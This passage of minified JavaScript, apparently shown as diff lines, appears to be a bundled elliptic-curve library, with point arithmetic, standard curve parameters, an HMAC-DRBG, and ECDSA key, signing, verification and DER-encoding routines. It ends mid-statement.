Md.prototype._getBeta = function() { - if (this.curve.endo) { - var t2 = this.precomputed; - if (t2 && t2.beta) - return t2.beta; - var e2 = this.curve.point(this.x.redMul(this.curve.endo.beta), this.y); - if (t2) { - var r4 = this.curve, n2 = function(t3) { - return r4.point(t3.x.redMul(r4.endo.beta), t3.y); - }; - t2.beta = e2, e2.precomputed = { beta: null, naf: t2.naf && { wnd: t2.naf.wnd, points: t2.naf.points.map(n2) }, doubles: t2.doubles && { step: t2.doubles.step, points: t2.doubles.points.map(n2) } }; - } - return e2; - } - }, Md.prototype.toJSON = function() { - return this.precomputed ? [this.x, this.y, this.precomputed && { doubles: this.precomputed.doubles && { step: this.precomputed.doubles.step, points: this.precomputed.doubles.points.slice(1) }, naf: this.precomputed.naf && { wnd: this.precomputed.naf.wnd, points: this.precomputed.naf.points.slice(1) } }] : [this.x, this.y]; - }, Md.fromJSON = function(t2, e2, r4) { - "string" == typeof e2 && (e2 = JSON.parse(e2)); - var n2 = t2.point(e2[0], e2[1], r4); - if (!e2[2]) - return n2; - function A2(e3) { - return t2.point(e3[0], e3[1], r4); - } - var i2 = e2[2]; - return n2.precomputed = { beta: null, doubles: i2.doubles && { step: i2.doubles.step, points: [n2].concat(i2.doubles.points.map(A2)) }, naf: i2.naf && { wnd: i2.naf.wnd, points: [n2].concat(i2.naf.points.map(A2)) } }, n2; - }, Md.prototype.inspect = function() { - return this.isInfinity() ? "" : ""; - }, Md.prototype.isInfinity = function() { - return this.inf; - }, Md.prototype.add = function(t2) { - if (this.inf) - return t2; - if (t2.inf) - return this; - if (this.eq(t2)) - return this.dbl(); - if (this.neg().eq(t2)) - return this.curve.point(null, null); - if (0 === this.x.cmp(t2.x)) - return this.curve.point(null, null); - var e2 = this.y.redSub(t2.y); - 0 !== e2.cmpn(0) && (e2 = e2.redMul(this.x.redSub(t2.x).redInvm())); - var r4 = e2.redSqr().redISub(this.x).redISub(t2.x), n2 = e2.redMul(this.x.redSub(r4)).redISub(this.y); - return this.curve.point(r4, n2); - }, Md.prototype.dbl = function() { - if (this.inf) - return this; - var t2 = this.y.redAdd(this.y); - if (0 === t2.cmpn(0)) - return this.curve.point(null, null); - var e2 = this.curve.a, r4 = this.x.redSqr(), n2 = t2.redInvm(), A2 = r4.redAdd(r4).redIAdd(r4).redIAdd(e2).redMul(n2), i2 = A2.redSqr().redISub(this.x.redAdd(this.x)), o2 = A2.redMul(this.x.redSub(i2)).redISub(this.y); - return this.curve.point(i2, o2); - }, Md.prototype.getX = function() { - return this.x.fromRed(); - }, Md.prototype.getY = function() { - return this.y.fromRed(); - }, Md.prototype.mul = function(t2) { - return t2 = new pd.default(t2, 16), this.isInfinity() ? this : this._hasDoubles(t2) ? this.curve._fixedNafMul(this, t2) : this.curve.endo ? this.curve._endoWnafMulAdd([this], [t2]) : this.curve._wnafMul(this, t2); - }, Md.prototype.mulAdd = function(t2, e2, r4) { - var n2 = [this, e2], A2 = [t2, r4]; - return this.curve.endo ? this.curve._endoWnafMulAdd(n2, A2) : this.curve._wnafMulAdd(1, n2, A2, 2); - }, Md.prototype.jmulAdd = function(t2, e2, r4) { - var n2 = [this, e2], A2 = [t2, r4]; - return this.curve.endo ? this.curve._endoWnafMulAdd(n2, A2, true) : this.curve._wnafMulAdd(1, n2, A2, 2, true); - }, Md.prototype.eq = function(t2) { - return this === t2 || this.inf === t2.inf && (this.inf || 0 === this.x.cmp(t2.x) && 0 === this.y.cmp(t2.y)); - }, Md.prototype.neg = function(t2) { - if (this.inf) - return this; - var e2 = this.curve.point(this.x, this.y.redNeg()); - if (t2 && this.precomputed) { - var r4 = this.precomputed, n2 = function(t3) { - return t3.neg(); - }; - e2.precomputed = { naf: r4.naf && { wnd: r4.naf.wnd, points: r4.naf.points.map(n2) }, doubles: r4.doubles && { step: r4.doubles.step, points: r4.doubles.points.map(n2) } }; - } - return e2; - }, Md.prototype.toJ = function() { - return this.inf ? this.curve.jpoint(null, null, null) : this.curve.jpoint(this.x, this.y, this.curve.one); - }, kd(xd, Qd.BasePoint), Sd.prototype.jpoint = function(t2, e2, r4) { - return new xd(this, t2, e2, r4); - }, xd.prototype.toP = function() { - if (this.isInfinity()) - return this.curve.point(null, null); - var t2 = this.z.redInvm(), e2 = t2.redSqr(), r4 = this.x.redMul(e2), n2 = this.y.redMul(e2).redMul(t2); - return this.curve.point(r4, n2); - }, xd.prototype.neg = function() { - return this.curve.jpoint(this.x, this.y.redNeg(), this.z); - }, xd.prototype.add = function(t2) { - if (this.isInfinity()) - return t2; - if (t2.isInfinity()) - return this; - var e2 = t2.z.redSqr(), r4 = this.z.redSqr(), n2 = this.x.redMul(e2), A2 = t2.x.redMul(r4), i2 = this.y.redMul(e2.redMul(t2.z)), o2 = t2.y.redMul(r4.redMul(this.z)), s2 = n2.redSub(A2), a2 = i2.redSub(o2); - if (0 === s2.cmpn(0)) - return 0 !== a2.cmpn(0) ? this.curve.jpoint(null, null, null) : this.dbl(); - var c2 = s2.redSqr(), h2 = c2.redMul(s2), g2 = n2.redMul(c2), u2 = a2.redSqr().redIAdd(h2).redISub(g2).redISub(g2), l2 = a2.redMul(g2.redISub(u2)).redISub(i2.redMul(h2)), f2 = this.z.redMul(t2.z).redMul(s2); - return this.curve.jpoint(u2, l2, f2); - }, xd.prototype.mixedAdd = function(t2) { - if (this.isInfinity()) - return t2.toJ(); - if (t2.isInfinity()) - return this; - var e2 = this.z.redSqr(), r4 = this.x, n2 = t2.x.redMul(e2), A2 = this.y, i2 = t2.y.redMul(e2).redMul(this.z), o2 = r4.redSub(n2), s2 = A2.redSub(i2); - if (0 === o2.cmpn(0)) - return 0 !== s2.cmpn(0) ? this.curve.jpoint(null, null, null) : this.dbl(); - var a2 = o2.redSqr(), c2 = a2.redMul(o2), h2 = r4.redMul(a2), g2 = s2.redSqr().redIAdd(c2).redISub(h2).redISub(h2), u2 = s2.redMul(h2.redISub(g2)).redISub(A2.redMul(c2)), l2 = this.z.redMul(o2); - return this.curve.jpoint(g2, u2, l2); - }, xd.prototype.dblp = function(t2) { - if (0 === t2) - return this; - if (this.isInfinity()) - return this; - if (!t2) - return this.dbl(); - var e2; - if (this.curve.zeroA || this.curve.threeA) { - var r4 = this; - for (e2 = 0; e2 < t2; e2++) - r4 = r4.dbl(); - return r4; - } - var n2 = this.curve.a, A2 = this.curve.tinv, i2 = this.x, o2 = this.y, s2 = this.z, a2 = s2.redSqr().redSqr(), c2 = o2.redAdd(o2); - for (e2 = 0; e2 < t2; e2++) { - var h2 = i2.redSqr(), g2 = c2.redSqr(), u2 = g2.redSqr(), l2 = h2.redAdd(h2).redIAdd(h2).redIAdd(n2.redMul(a2)), f2 = i2.redMul(g2), p2 = l2.redSqr().redISub(f2.redAdd(f2)), d2 = f2.redISub(p2), I2 = l2.redMul(d2); - I2 = I2.redIAdd(I2).redISub(u2); - var y2 = c2.redMul(s2); - e2 + 1 < t2 && (a2 = a2.redMul(u2)), i2 = p2, s2 = y2, c2 = I2; - } - return this.curve.jpoint(i2, c2.redMul(A2), s2); - }, xd.prototype.dbl = function() { - return this.isInfinity() ? this : this.curve.zeroA ? this._zeroDbl() : this.curve.threeA ? this._threeDbl() : this._dbl(); - }, xd.prototype._zeroDbl = function() { - var t2, e2, r4; - if (this.zOne) { - var n2 = this.x.redSqr(), A2 = this.y.redSqr(), i2 = A2.redSqr(), o2 = this.x.redAdd(A2).redSqr().redISub(n2).redISub(i2); - o2 = o2.redIAdd(o2); - var s2 = n2.redAdd(n2).redIAdd(n2), a2 = s2.redSqr().redISub(o2).redISub(o2), c2 = i2.redIAdd(i2); - c2 = (c2 = c2.redIAdd(c2)).redIAdd(c2), t2 = a2, e2 = s2.redMul(o2.redISub(a2)).redISub(c2), r4 = this.y.redAdd(this.y); - } else { - var h2 = this.x.redSqr(), g2 = this.y.redSqr(), u2 = g2.redSqr(), l2 = this.x.redAdd(g2).redSqr().redISub(h2).redISub(u2); - l2 = l2.redIAdd(l2); - var f2 = h2.redAdd(h2).redIAdd(h2), p2 = f2.redSqr(), d2 = u2.redIAdd(u2); - d2 = (d2 = d2.redIAdd(d2)).redIAdd(d2), t2 = p2.redISub(l2).redISub(l2), e2 = f2.redMul(l2.redISub(t2)).redISub(d2), r4 = (r4 = this.y.redMul(this.z)).redIAdd(r4); - } - return this.curve.jpoint(t2, e2, r4); - }, xd.prototype._threeDbl = function() { - var t2, e2, r4; - if (this.zOne) { - var n2 = this.x.redSqr(), A2 = this.y.redSqr(), i2 = A2.redSqr(), o2 = this.x.redAdd(A2).redSqr().redISub(n2).redISub(i2); - o2 = o2.redIAdd(o2); - var s2 = n2.redAdd(n2).redIAdd(n2).redIAdd(this.curve.a), a2 = s2.redSqr().redISub(o2).redISub(o2); - t2 = a2; - var c2 = i2.redIAdd(i2); - c2 = (c2 = c2.redIAdd(c2)).redIAdd(c2), e2 = s2.redMul(o2.redISub(a2)).redISub(c2), r4 = this.y.redAdd(this.y); - } else { - var h2 = this.z.redSqr(), g2 = this.y.redSqr(), u2 = this.x.redMul(g2), l2 = this.x.redSub(h2).redMul(this.x.redAdd(h2)); - l2 = l2.redAdd(l2).redIAdd(l2); - var f2 = u2.redIAdd(u2), p2 = (f2 = f2.redIAdd(f2)).redAdd(f2); - t2 = l2.redSqr().redISub(p2), r4 = this.y.redAdd(this.z).redSqr().redISub(g2).redISub(h2); - var d2 = g2.redSqr(); - d2 = (d2 = (d2 = d2.redIAdd(d2)).redIAdd(d2)).redIAdd(d2), e2 = l2.redMul(f2.redISub(t2)).redISub(d2); - } - return this.curve.jpoint(t2, e2, r4); - }, xd.prototype._dbl = function() { - var t2 = this.curve.a, e2 = this.x, r4 = this.y, n2 = this.z, A2 = n2.redSqr().redSqr(), i2 = e2.redSqr(), o2 = r4.redSqr(), s2 = i2.redAdd(i2).redIAdd(i2).redIAdd(t2.redMul(A2)), a2 = e2.redAdd(e2), c2 = (a2 = a2.redIAdd(a2)).redMul(o2), h2 = s2.redSqr().redISub(c2.redAdd(c2)), g2 = c2.redISub(h2), u2 = o2.redSqr(); - u2 = (u2 = (u2 = u2.redIAdd(u2)).redIAdd(u2)).redIAdd(u2); - var l2 = s2.redMul(g2).redISub(u2), f2 = r4.redAdd(r4).redMul(n2); - return this.curve.jpoint(h2, l2, f2); - }, xd.prototype.trpl = function() { - if (!this.curve.zeroA) - return this.dbl().add(this); - var t2 = this.x.redSqr(), e2 = this.y.redSqr(), r4 = this.z.redSqr(), n2 = e2.redSqr(), A2 = t2.redAdd(t2).redIAdd(t2), i2 = A2.redSqr(), o2 = this.x.redAdd(e2).redSqr().redISub(t2).redISub(n2), s2 = (o2 = (o2 = (o2 = o2.redIAdd(o2)).redAdd(o2).redIAdd(o2)).redISub(i2)).redSqr(), a2 = n2.redIAdd(n2); - a2 = (a2 = (a2 = a2.redIAdd(a2)).redIAdd(a2)).redIAdd(a2); - var c2 = A2.redIAdd(o2).redSqr().redISub(i2).redISub(s2).redISub(a2), h2 = e2.redMul(c2); - h2 = (h2 = h2.redIAdd(h2)).redIAdd(h2); - var g2 = this.x.redMul(s2).redISub(h2); - g2 = (g2 = g2.redIAdd(g2)).redIAdd(g2); - var u2 = this.y.redMul(c2.redMul(a2.redISub(c2)).redISub(o2.redMul(s2))); - u2 = (u2 = (u2 = u2.redIAdd(u2)).redIAdd(u2)).redIAdd(u2); - var l2 = this.z.redAdd(o2).redSqr().redISub(r4).redISub(s2); - return this.curve.jpoint(g2, u2, l2); - }, xd.prototype.mul = function(t2, e2) { - return t2 = new pd.default(t2, e2), this.curve._wnafMul(this, t2); - }, xd.prototype.eq = function(t2) { - if ("affine" === t2.type) - return this.eq(t2.toJ()); - if (this === t2) - return true; - var e2 = this.z.redSqr(), r4 = t2.z.redSqr(); - if (0 !== this.x.redMul(r4).redISub(t2.x.redMul(e2)).cmpn(0)) - return false; - var n2 = e2.redMul(this.z), A2 = r4.redMul(t2.z); - return 0 === this.y.redMul(A2).redISub(t2.y.redMul(n2)).cmpn(0); - }, xd.prototype.eqXToP = function(t2) { - var e2 = this.z.redSqr(), r4 = t2.toRed(this.curve.red).redMul(e2); - if (0 === this.x.cmp(r4)) - return true; - for (var n2 = t2.clone(), A2 = this.curve.redN.redMul(e2); ; ) { - if (n2.iadd(this.curve.n), n2.cmp(this.curve.p) >= 0) - return false; - if (r4.redIAdd(A2), 0 === this.x.cmp(r4)) - return true; - } - }, xd.prototype.inspect = function() { - return this.isInfinity() ? "" : ""; - }, xd.prototype.isInfinity = function() { - return 0 === this.z.cmpn(0); - }; - var Fd = Id(function(t2, e2) { - var r4 = e2; - r4.base = Qd, r4.short = Nd, r4.mont = null, r4.edwards = null; - }); - var Pd = Id(function(t2, e2) { - var r4, n2 = e2, A2 = Bd.assert; - function i2(t3) { - "short" === t3.type ? this.curve = new Fd.short(t3) : "edwards" === t3.type ? this.curve = new Fd.edwards(t3) : this.curve = new Fd.mont(t3), this.g = this.curve.g, this.n = this.curve.n, this.hash = t3.hash, A2(this.g.validate(), "Invalid curve"), A2(this.g.mul(this.n).isInfinity(), "Invalid curve, G*N != O"); - } - function o2(t3, e3) { - Object.defineProperty(n2, t3, { configurable: true, enumerable: true, get: function() { - var r5 = new i2(e3); - return Object.defineProperty(n2, t3, { configurable: true, enumerable: true, value: r5 }), r5; - } }); - } - n2.PresetCurve = i2, o2("p192", { type: "short", prime: "p192", p: "ffffffff ffffffff ffffffff fffffffe ffffffff ffffffff", a: "ffffffff ffffffff ffffffff fffffffe ffffffff fffffffc", b: "64210519 e59c80e7 0fa7e9ab 72243049 feb8deec c146b9b1", n: "ffffffff ffffffff ffffffff 99def836 146bc9b1 b4d22831", hash: dd.default.sha256, gRed: false, g: ["188da80e b03090f6 7cbf20eb 43a18800 f4ff0afd 82ff1012", "07192b95 ffc8da78 631011ed 6b24cdd5 73f977a1 1e794811"] }), o2("p224", { type: "short", prime: "p224", p: "ffffffff ffffffff ffffffff ffffffff 00000000 00000000 00000001", a: "ffffffff ffffffff ffffffff fffffffe ffffffff ffffffff fffffffe", b: "b4050a85 0c04b3ab f5413256 5044b0b7 d7bfd8ba 270b3943 2355ffb4", n: "ffffffff ffffffff ffffffff ffff16a2 e0b8f03e 13dd2945 5c5c2a3d", hash: dd.default.sha256, gRed: false, g: ["b70e0cbd 6bb4bf7f 321390b9 4a03c1d3 56c21122 343280d6 115c1d21", "bd376388 b5f723fb 4c22dfe6 cd4375a0 5a074764 44d58199 85007e34"] }), o2("p256", { type: "short", prime: null, p: "ffffffff 00000001 00000000 00000000 00000000 ffffffff ffffffff ffffffff", a: "ffffffff 00000001 00000000 00000000 00000000 ffffffff ffffffff fffffffc", b: "5ac635d8 aa3a93e7 b3ebbd55 769886bc 651d06b0 cc53b0f6 3bce3c3e 27d2604b", n: "ffffffff 00000000 ffffffff ffffffff bce6faad a7179e84 f3b9cac2 fc632551", hash: dd.default.sha256, gRed: false, g: ["6b17d1f2 e12c4247 f8bce6e5 63a440f2 77037d81 2deb33a0 f4a13945 d898c296", "4fe342e2 fe1a7f9b 8ee7eb4a 7c0f9e16 2bce3357 6b315ece cbb64068 37bf51f5"] }), o2("p384", { type: "short", prime: null, p: "ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff fffffffe ffffffff 00000000 00000000 ffffffff", a: "ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff fffffffe ffffffff 00000000 00000000 fffffffc", b: "b3312fa7 e23ee7e4 988e056b e3f82d19 181d9c6e fe814112 0314088f 5013875a c656398d 8a2ed19d 2a85c8ed d3ec2aef", n: "ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff c7634d81 f4372ddf 581a0db2 48b0a77a ecec196a ccc52973", hash: dd.default.sha384, gRed: false, g: ["aa87ca22 be8b0537 8eb1c71e f320ad74 6e1d3b62 8ba79b98 59f741e0 82542a38 5502f25d bf55296c 3a545e38 72760ab7", "3617de4a 96262c6f 5d9e98bf 9292dc29 f8f41dbd 289a147c e9da3113 b5f0b8c0 0a60b1ce 1d7e819d 7a431d7c 90ea0e5f"] }), o2("p521", { type: "short", prime: null, p: "000001ff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff", a: "000001ff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff fffffffc", b: "00000051 953eb961 8e1c9a1f 929a21a0 b68540ee a2da725b 99b315f3 b8b48991 8ef109e1 56193951 ec7e937b 1652c0bd 3bb1bf07 3573df88 3d2c34f1 ef451fd4 6b503f00", n: "000001ff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff fffffffa 51868783 bf2f966b 7fcc0148 f709a5d0 3bb5c9b8 899c47ae bb6fb71e 91386409", hash: dd.default.sha512, gRed: false, g: ["000000c6 858e06b7 0404e9cd 9e3ecb66 2395b442 9c648139 053fb521 f828af60 6b4d3dba a14b5e77 efe75928 fe1dc127 a2ffa8de 3348b3c1 856a429b f97e7e31 c2e5bd66", "00000118 39296a78 9a3bc004 5c8a5fb4 2c7d1bd9 98f54449 579b4468 17afbd17 273e662c 97ee7299 5ef42640 c550b901 3fad0761 353c7086 a272c240 88be9476 9fd16650"] }), o2("curve25519", { type: "mont", prime: "p25519", p: "7fffffffffffffff ffffffffffffffff ffffffffffffffff ffffffffffffffed", a: "76d06", b: "1", n: "1000000000000000 0000000000000000 14def9dea2f79cd6 5812631a5cf5d3ed", hash: dd.default.sha256, gRed: false, g: ["9"] }), o2("ed25519", { type: "edwards", prime: "p25519", p: "7fffffffffffffff ffffffffffffffff ffffffffffffffff ffffffffffffffed", a: "-1", c: "1", d: "52036cee2b6ffe73 8cc740797779e898 00700a4d4141d8ab 75eb4dca135978a3", n: "1000000000000000 0000000000000000 14def9dea2f79cd6 5812631a5cf5d3ed", hash: dd.default.sha256, gRed: false, g: ["216936d3cd6e53fec0a4e231fdd6dc5c692cc7609525a7b2c9562d608f25d51a", "6666666666666666666666666666666666666666666666666666666666666658"] }); - try { - r4 = null.crash(); - } catch (t3) { - r4 = void 0; - } - o2("secp256k1", { type: "short", prime: "k256", p: "ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff fffffffe fffffc2f", a: "0", b: "7", n: "ffffffff ffffffff ffffffff fffffffe baaedce6 af48a03b bfd25e8c d0364141", h: "1", hash: dd.default.sha256, beta: "7ae96a2b657c07106e64479eac3434e99cf0497512f58995c1396c28719501ee", lambda: "5363ad4cc05c30e0a5261c028812645a122e22ea20816678df02967c1b23bd72", basis: [{ a: "3086d221a7d46bcde86c90e49284eb15", b: "-e4437ed6010e88286f547fa90abfe4c3" }, { a: "114ca50f7a8e2f3f657c1108d9d44cfd8", b: "3086d221a7d46bcde86c90e49284eb15" }], gRed: false, g: ["79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798", "483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8", r4] }); - }); - function Td(t2) { - if (!(this instanceof Td)) - return new Td(t2); - this.hash = t2.hash, this.predResist = !!t2.predResist, this.outLen = this.hash.outSize, this.minEntropy = t2.minEntropy || this.hash.hmacStrength, this._reseed = null, this.reseedInterval = null, this.K = null, this.V = null; - var e2 = md.toArray(t2.entropy, t2.entropyEnc || "hex"), r4 = md.toArray(t2.nonce, t2.nonceEnc || "hex"), n2 = md.toArray(t2.pers, t2.persEnc || "hex"); - yd(e2.length >= this.minEntropy / 8, "Not enough entropy. Minimum is: " + this.minEntropy + " bits"), this._init(e2, r4, n2); - } - var Rd = Td; - Td.prototype._init = function(t2, e2, r4) { - var n2 = t2.concat(e2).concat(r4); - this.K = new Array(this.outLen / 8), this.V = new Array(this.outLen / 8); - for (var A2 = 0; A2 < this.V.length; A2++) - this.K[A2] = 0, this.V[A2] = 1; - this._update(n2), this._reseed = 1, this.reseedInterval = 281474976710656; - }, Td.prototype._hmac = function() { - return new dd.default.hmac(this.hash, this.K); - }, Td.prototype._update = function(t2) { - var e2 = this._hmac().update(this.V).update([0]); - t2 && (e2 = e2.update(t2)), this.K = e2.digest(), this.V = this._hmac().update(this.V).digest(), t2 && (this.K = this._hmac().update(this.V).update([1]).update(t2).digest(), this.V = this._hmac().update(this.V).digest()); - }, Td.prototype.reseed = function(t2, e2, r4, n2) { - "string" != typeof e2 && (n2 = r4, r4 = e2, e2 = null), t2 = md.toArray(t2, e2), r4 = md.toArray(r4, n2), yd(t2.length >= this.minEntropy / 8, "Not enough entropy. Minimum is: " + this.minEntropy + " bits"), this._update(t2.concat(r4 || [])), this._reseed = 1; - }, Td.prototype.generate = function(t2, e2, r4, n2) { - if (this._reseed > this.reseedInterval) - throw new Error("Reseed is required"); - "string" != typeof e2 && (n2 = r4, r4 = e2, e2 = null), r4 && (r4 = md.toArray(r4, n2 || "hex"), this._update(r4)); - for (var A2 = []; A2.length < t2; ) - this.V = this._hmac().update(this.V).digest(), A2 = A2.concat(this.V); - var i2 = A2.slice(0, t2); - return this._update(r4), this._reseed++, md.encode(i2, e2); - }; - var Ud = Bd.assert; - function Gd(t2, e2) { - this.ec = t2, this.priv = null, this.pub = null, e2.priv && this._importPrivate(e2.priv, e2.privEnc), e2.pub && this._importPublic(e2.pub, e2.pubEnc); - } - var Hd = Gd; - Gd.fromPublic = function(t2, e2, r4) { - return e2 instanceof Gd ? e2 : new Gd(t2, { pub: e2, pubEnc: r4 }); - }, Gd.fromPrivate = function(t2, e2, r4) { - return e2 instanceof Gd ? e2 : new Gd(t2, { priv: e2, privEnc: r4 }); - }, Gd.prototype.validate = function() { - var t2 = this.getPublic(); - return t2.isInfinity() ? { result: false, reason: "Invalid public key" } : t2.validate() ? t2.mul(this.ec.curve.n).isInfinity() ? { result: true, reason: null } : { result: false, reason: "Public key * N != O" } : { result: false, reason: "Public key is not a point" }; - }, Gd.prototype.getPublic = function(t2, e2) { - return "string" == typeof t2 && (e2 = t2, t2 = null), this.pub || (this.pub = this.ec.g.mul(this.priv)), e2 ? this.pub.encode(e2, t2) : this.pub; - }, Gd.prototype.getPrivate = function(t2) { - return "hex" === t2 ? this.priv.toString(16, 2) : this.priv; - }, Gd.prototype._importPrivate = function(t2, e2) { - this.priv = new pd.default(t2, e2 || 16), this.priv = this.priv.umod(this.ec.curve.n); - }, Gd.prototype._importPublic = function(t2, e2) { - if (t2.x || t2.y) - return "mont" === this.ec.curve.type ? Ud(t2.x, "Need x coordinate") : "short" !== this.ec.curve.type && "edwards" !== this.ec.curve.type || Ud(t2.x && t2.y, "Need both x and y coordinate"), void (this.pub = this.ec.curve.point(t2.x, t2.y)); - this.pub = this.ec.curve.decodePoint(t2, e2); - }, Gd.prototype.derive = function(t2) { - return t2.validate() || Ud(t2.validate(), "public point not validated"), t2.mul(this.priv).getX(); - }, Gd.prototype.sign = function(t2, e2, r4) { - return this.ec.sign(t2, this, e2, r4); - }, Gd.prototype.verify = function(t2, e2) { - return this.ec.verify(t2, e2, this); - }, Gd.prototype.inspect = function() { - return ""; - }; - var Ld = Bd.assert; - function Od(t2, e2) { - if (t2 instanceof Od) - return t2; - this._importDER(t2, e2) || (Ld(t2.r && t2.s, "Signature without r or s"), this.r = new pd.default(t2.r, 16), this.s = new pd.default(t2.s, 16), void 0 === t2.recoveryParam ? this.recoveryParam = null : this.recoveryParam = t2.recoveryParam); - } - var Yd = Od; - function Kd() { - this.place = 0; - } - function Jd(t2, e2) { - var r4 = t2[e2.place++]; - if (!(128 & r4)) - return r4; - var n2 = 15 & r4; - if (0 === n2 || n2 > 4) - return false; - for (var A2 = 0, i2 = 0, o2 = e2.place; i2 < n2; i2++, o2++) - A2 <<= 8, A2 |= t2[o2], A2 >>>= 0; - return !(A2 <= 127) && (e2.place = o2, A2); - } - function jd(t2) { - for (var e2 = 0, r4 = t2.length - 1; !t2[e2] && !(128 & t2[e2 + 1]) && e2 < r4; ) - e2++; - return 0 === e2 ? t2 : t2.slice(e2); - } - function zd(t2, e2) { - if (e2 < 128) - t2.push(e2); - else { - var r4 = 1 + (Math.log(e2) / Math.LN2 >>> 3); - for (t2.push(128 | r4); --r4; ) - t2.push(e2 >>> (r4 << 3) & 255); - t2.push(e2); - } - } - Od.prototype._importDER = function(t2, e2) { - t2 = Bd.toArray(t2, e2); - var r4 = new Kd(); - if (48 !== t2[r4.place++]) - return false; - var n2 = Jd(t2, r4); - if (false === n2) - return false; - if (n2 + r4.place !== t2.length) - return false; - if (2 !== t2[r4.place++]) - return false; - var A2 = Jd(t2, r4); - if (false === A2) - return false; - var i2 = t2.slice(r4.place, A2 + r4.place); - if (r4.place += A2, 2 !== t2[r4.place++]) - return false; - var o2 = Jd(t2, r4); - if (false === o2) - return false; - if (t2.length !== o2 + r4.place) - return false; - var s2 = t2.slice(r4.place, o2 + r4.place); - if (0 === i2[0]) { - if (!(128 & i2[1])) - return false; - i2 = i2.slice(1); - } - if (0 === s2[0]) { - if (!(128 & s2[1])) - return false; - s2 = s2.slice(1); - } - return this.r = new pd.default(i2), this.s = new pd.default(s2), this.recoveryParam = null, true; - }, Od.prototype.toDER = function(t2) { - var e2 = this.r.toArray(), r4 = this.s.toArray(); - for (128 & e2[0] && (e2 = [0].concat(e2)), 128 & r4[0] && (r4 = [0].concat(r4)), e2 = jd(e2), r4 = jd(r4); !(r4[0] || 128 & r4[1]); ) - r4 = r4.slice(1); - var n2 = [2]; - zd(n2, e2.length), (n2 = n2.concat(e2)).push(2), zd(n2, r4.length); - var A2 = n2.concat(r4), i2 = [48]; - return zd(i2, A2.length), i2 = i2.concat(A2), Bd.encode(i2, t2); - }; - var qd = function() { - throw new Error("unsupported"); - }; - var Xd = Bd.assert; - function Vd(t2) { - if (!(this instanceof Vd)) - return new Vd(t2); - "string" == typeof t2 && (Xd(Object.prototype.hasOwnProperty.call(Pd, t2), "Unknown curve " + t2), t2 = Pd[t2]), t2 instanceof Pd.PresetCurve && (t2 = { curve: t2 }), this.curve = t2.curve.curve, this.n = this.curve.n, this.nh = this.n.ushrn(1), this.g = this.curve.g, this.g = t2.curve.g, this.g.precompute(t2.curve.n.bitLength() + 1), this.hash = t2.hash || t2.curve.hash; - } - var Wd = Vd; - Vd.prototype.keyPair = function(t2) { - return new Hd(this, t2); - }, Vd.prototype.keyFromPrivate = function(t2, e2) { - return Hd.fromPrivate(this, t2, e2); - }, Vd.prototype.keyFromPublic = function(t2, e2) { - return Hd.fromPublic(this, t2, e2); - }, Vd.prototype.genKeyPair = function(t2) { - t2 || (t2 = {}); - for (var e2 = new Rd({ hash: this.hash, pers: t2.pers, persEnc: t2.persEnc || "utf8", entropy: t2.entropy || qd(this.hash.hmacStrength), entropyEnc: t2.entropy && t2.entropyEnc || "utf8", nonce: this.n.toArray() }), r4 = this.n.byteLength(), n2 = this.n.sub(new pd.default(2)); ; ) { - var A2 = new pd.default(e2.generate(r4)); - if (!(A2.cmp(n2) > 0)) - return A2.iaddn(1), this.keyFromPrivate(A2); - } - }, Vd.prototype._truncateToN = function(t2, e2) { - var r4 = 8 * t2.byteLength() - this.n.bitLength(); - return r4 > 0 && (t2 = t2.ushrn(r4)), !e2 && t2.cmp(this.n) >= 0 ? t2.sub(this.n) : t2; - }, Vd.prototype.sign = function(t2, e2, r4, n2) { - "object" == typeof r4 && (n2 = r4, r4 = null), n2 || (n2 = {}), e2 = this.keyFromPrivate(e2, r4), t2 = this._truncateToN(new pd.default(t2, 16)); - for (var A2 = this.n.byteLength(), i2 = e2.getPrivate().toArray("be", A2), o2 = t2.toArray("be", A2), s2 = new Rd({ hash: this.hash, entropy: i2, nonce: o2, pers: n2.pers, persEnc: n2.persEnc || "utf8" }), a2 = this.n.sub(new pd.default(1)), c2 = 0; ; c2++) { - var h2 = n2.k ? n2.k(c2) : new pd.default(s2.generate(this.n.byteLength())); - if (!((h2 = this._truncateToN(h2, true)).cmpn(1) <= 0 || h2.cmp(a2) >= 0)) { - var g2 = this.g.mul(h2); - if (!g2.isInfinity()) { - var u2 = g2.getX(), l2 = u2.umod(this.n); - if (0 !== l2.cmpn(0)) { - var f2 = h2.invm(this.n).mul(l2.mul(e2.getPrivate()).iadd(t2)); - if (0 !== (f2 = f2.umod(this.n)).cmpn(0)) { - var p2 = (g2.getY().isOdd() ? 1 : 0) | (0 !== u2.cmp(l2) ? 2 : 0); - return n2.canonical && f2.cmp(this.nh) > 0 && (f2 = this.n.sub(f2), p2 ^= 1), new Yd({ r: l2, s: f2, recoveryParam: p2 }); - } - } - } - } - } - }, Vd.prototype.verify = function(t2, e2, r4, n2) { - t2 = this._truncateToN(new pd.default(t2, 16)), r4 = this.keyFromPublic(r4, n2); - var A2 = (e2 = new Yd(e2, "hex")).r, i2 = e2.s; - if (A2.cmpn(1) < 0 || A2.cmp(this.n) >= 0) - return false; - if (i2.cmpn(1) < 0 || i2.cmp(this.n) >= 0) - return false; - var o2, s2 = i2.invm(this.n), a2 = s2.mul(t2).umod(this.n), c2 = s2.mul(A2).umod(this.n); - return this.curve._maxwellTrick ? !(o2 = this.g.jmulAdd(a2, r4.getPublic(), c2)).isInfinity() && o2.eqXToP(A2) : !(o2 = this.g.mulAdd(a2, r4.getPublic(), c2)).isInfinity() && 0 === o2.getX().umod(this.n).cmp(A2); - }, Vd.prototype.recoverPubKey = function(t2, e2, r4, n2) { - Xd((3 & r4) === r4, "The recovery param is more than two bits"), e2 = new Yd(e2, n2); - var A2 = this.n, i2 = new pd.default(t2), o2 = e2.r, s2 = e2.s, a2 = 1 & r4, c2 = r4 >> 1; - if (o2.cmp(this.curve.p.umod(this.curve.n)) >= 0 && c2) - throw new Error("Unable to find sencond key candinate"); - o2 = 